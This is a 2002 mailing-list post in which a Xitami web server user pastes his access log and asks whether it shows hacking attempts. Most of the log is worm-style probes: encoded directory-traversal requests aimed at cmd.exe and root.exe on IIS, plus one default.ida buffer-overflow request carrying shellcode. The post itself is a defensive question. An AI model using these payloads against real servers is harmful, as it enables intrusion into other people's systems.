[Xitami] Error log shows hacking attempts?

meijin xitami@lists.xitami.org
Tue, 11 Jun 2002 00:57:09 -0500
Previous message: [Xitami] lrwplib C++ wrapper?
Next message: [Xitami] Error log shows hacking attempts?
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Hello all...I am pretty new to Xitami, but I am fairly sure that the
following log would indicate an attempt to hack my system. Anyone want to
confirm this for sure? Any suggestions on prevention? I can also assume
that at least one of these commands would be the reason why I am
occasionally coming home to find my Xitami with an internal error that
requires a restart?

Thanks!

Mike

24.197.171.236 - - [07/Jun/2002:06:17:55 -0600] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.197.171.236 - - [07/Jun/2002:06:18:02 -0600] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.197.171.236 - - [07/Jun/2002:06:18:06 -0600] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.197.171.236 - - [07/Jun/2002:06:18:10 -0600] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.197.171.236 - - [07/Jun/2002:06:18:15 -0600] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.197.171.236 - - [07/Jun/2002:06:18:19 -0600] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.197.171.236 - - [07/Jun/2002:06:18:22 -0600] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.197.171.236 - - [07/Jun/2002:06:18:26 -0600] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.197.171.236 - - [07/Jun/2002:06:18:30 -0600] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.145.15 - - [07/Jun/2002:08:42:08 -0600] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.145.15 - - [07/Jun/2002:08:42:08 -0600] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.145.15 - - [07/Jun/2002:08:42:09 -0600] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.145.15 - - [07/Jun/2002:08:42:10 -0600] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.145.15 - - [07/Jun/2002:08:42:11 -0600] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.145.15 - - [07/Jun/2002:08:42:11 -0600] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.145.15 - - [07/Jun/2002:08:42:12 -0600] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.145.15 - - [07/Jun/2002:08:42:13 -0600] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.145.15 - - [07/Jun/2002:08:42:13 -0600] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.145.15 - - [07/Jun/2002:08:42:14 -0600] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.145.15 - - [07/Jun/2002:08:42:15 -0600] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.145.15 - - [07/Jun/2002:08:42:15 -0600] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.145.15 - - [07/Jun/2002:08:42:16 -0600] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.145.15 - - [07/Jun/2002:08:42:16 -0600] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.145.15 - - [07/Jun/2002:08:42:17 -0600] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.145.15 - - [07/Jun/2002:08:42:18 -0600] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.64.225.25 - - [10/Jun/2002:07:44:58 -0600] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.64.225.25 - - [10/Jun/2002:07:44:59 -0600] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.64.225.25 - - [10/Jun/2002:07:45:02 -0600] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.64.225.25 - - [10/Jun/2002:07:45:06 -0600] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.64.225.25 - - [10/Jun/2002:07:45:08 -0600] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.64.225.25 - - [10/Jun/2002:07:45:12 -0600] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.64.225.25 - - [10/Jun/2002:07:45:13 -0600] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.64.225.25 - - [10/Jun/2002:07:45:16 -0600] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.64.225.25 - - [10/Jun/2002:07:45:18 -0600] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.64.225.25 - - [10/Jun/2002:07:45:20 -0600] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.64.225.25 - - [10/Jun/2002:07:45:22 -0600] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.64.225.25 - - [10/Jun/2002:07:45:23 -0600] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.64.225.25 - - [10/Jun/2002:07:45:24 -0600] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.64.225.25 - - [10/Jun/2002:07:45:26 -0600] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.64.225.25 - - [10/Jun/2002:07:45:28 -0600] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.64.225.25 - - [10/Jun/2002:07:45:30 -0600] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.208.4.199 - - [10/Jun/2002:14:06:53 -0600] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.208.4.199 - - [10/Jun/2002:14:06:55 -0600] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.208.4.199 - - [10/Jun/2002:14:06:57 -0600] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.208.4.199 - - [10/Jun/2002:14:06:59 -0600] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.208.4.199 - - [10/Jun/2002:14:07:01 -0600] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.208.4.199 - - [10/Jun/2002:14:07:06 -0600] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.208.4.199 - - [10/Jun/2002:14:07:08 -0600] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.208.4.199 - - [10/Jun/2002:14:07:10 -0600] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.208.4.199 - - [10/Jun/2002:14:07:11 -0600] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.208.4.199 - - [10/Jun/2002:14:07:12 -0600] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.208.4.199 - - [10/Jun/2002:14:07:14 -0600] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.208.4.199 - - [10/Jun/2002:14:07:16 -0600] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.208.4.199 - - [10/Jun/2002:14:07:17 -0600] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.208.4.199 - - [10/Jun/2002:14:07:19 -0600] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.208.4.199 - - [10/Jun/2002:14:07:20 -0600] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.208.4.199 - - [10/Jun/2002:14:07:21 -0600] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:14:55:19 -0600] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:14:55:19 -0600] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:14:55:19 -0600] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:14:55:19 -0600] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:14:55:20 -0600] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:14:55:20 -0600] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:14:55:20 -0600] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:14:55:20 -0600] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:14:55:20 -0600] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:14:55:20 -0600] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:14:55:20 -0600] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:14:55:21 -0600] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:14:55:21 -0600] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:14:55:21 -0600] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:14:55:21 -0600] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:14:55:21 -0600] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
63.124.119.130 - - [10/Jun/2002:15:04:22 -0600] "GET /cgi-bin/testcgi
HTTP/1.1" 404 0 "http://budogeeks.tzo.com/" "Mozilla/4.0 (compatible; MSIE
6.0; Windows NT 5.0; Q312461)"
24.26.244.245 - - [10/Jun/2002:16:27:10 -0600] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:16:27:11 -0600] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:16:27:12 -0600] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:16:27:13 -0600] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:16:27:15 -0600] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:16:27:17 -0600] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:16:27:18 -0600] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:16:27:20 -0600] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:16:27:20 -0600] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:16:27:21 -0600] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:16:27:22 -0600] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:16:27:23 -0600] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:16:27:24 -0600] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:16:27:26 -0600] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:16:27:27 -0600] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:16:27:28 -0600] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:12:36 -0600] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:12:37 -0600] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:12:38 -0600] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:12:39 -0600] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:12:41 -0600] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:12:42 -0600] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:12:43 -0600] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:12:45 -0600] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:12:46 -0600] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:12:47 -0600] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:12:48 -0600] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:12:49 -0600] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:12:51 -0600] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:12:52 -0600] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:12:52 -0600] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:12:53 -0600] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:33:31 -0600] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:33:31 -0600] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:33:31 -0600] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:33:31 -0600] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:33:32 -0600] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:33:32 -0600] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:33:32 -0600] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:33:32 -0600] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:33:33 -0600] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:33:33 -0600] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:33:33 -0600] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:33:36 -0600] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:33:36 -0600] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:33:36 -0600] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:33:37 -0600] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:17:33:37 -0600] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.80.126.251 - - [10/Jun/2002:18:53:34 -0600] "GET
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a%20
HTTP/1.0" 404 0 "" ""
202.110.201.18 - - [10/Jun/2002:20:13:02 -0600] "GET
http://www.online.jn.sd.cn/ HTTP/1.1" 404 0 "" "Mozilla/4.0 (compatible;
MSIE 4.01; Windows 95)"
24.26.244.245 - - [10/Jun/2002:21:11:22 -0600] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:21:11:23 -0600] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:21:11:25 -0600] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:21:11:26 -0600] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:21:11:28 -0600] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:21:11:29 -0600] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:21:11:30 -0600] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:21:11:31 -0600] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:21:11:32 -0600] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:21:11:34 -0600] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:21:11:36 -0600] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:21:11:39 -0600] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:21:11:40 -0600] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:21:11:42 -0600] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:21:11:44 -0600] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.244.245 - - [10/Jun/2002:21:11:46 -0600] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.112.238.212 - - [10/Jun/2002:21:25:19 -0600] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.112.238.212 - - [10/Jun/2002:21:25:21 -0600] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.112.238.212 - - [10/Jun/2002:21:25:23 -0600] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.112.238.212 - - [10/Jun/2002:21:25:25 -0600] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.112.238.212 - - [10/Jun/2002:21:25:27 -0600] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.112.238.212 - - [10/Jun/2002:21:25:30 -0600] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.112.238.212 - - [10/Jun/2002:21:25:41 -0600] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.112.238.212 - - [10/Jun/2002:21:25:43 -0600] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.112.238.212 - - [10/Jun/2002:21:25:46 -0600] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.112.238.212 - - [10/Jun/2002:21:25:58 -0600] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.112.238.212 - - [10/Jun/2002:21:26:00 -0600] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.112.238.212 - - [10/Jun/2002:21:26:03 -0600] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.112.238.212 - - [10/Jun/2002:21:26:05 -0600] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.112.238.212 - - [10/Jun/2002:21:26:07 -0600] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.59.187 - - [10/Jun/2002:21:47:39 -0600] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.59.187 - - [10/Jun/2002:21:47:40 -0600] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.59.187 - - [10/Jun/2002:21:47:40 -0600] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.59.187 - - [10/Jun/2002:21:47:40 -0600] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.59.187 - - [10/Jun/2002:21:47:41 -0600] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.59.187 - - [10/Jun/2002:21:47:41 -0600] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.59.187 - - [10/Jun/2002:21:47:42 -0600] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 0 "" ""
24.26.59.187 - - [10/Jun/2002:21:47:42 -0600] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.59.187 - - [10/Jun/2002:21:47:43 -0600] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.59.187 - - [10/Jun/2002:21:47:45 -0600] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.59.187 - - [10/Jun/2002:21:47:46 -0600] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.59.187 - - [10/Jun/2002:21:47:47 -0600] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.59.187 - - [10/Jun/2002:21:47:48 -0600] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.59.187 - - [10/Jun/2002:21:47:50 -0600] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.59.187 - - [10/Jun/2002:21:47:52 -0600] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 "" ""
24.26.59.187 - - [10/Jun/2002:21:47:53 -0600] "GET
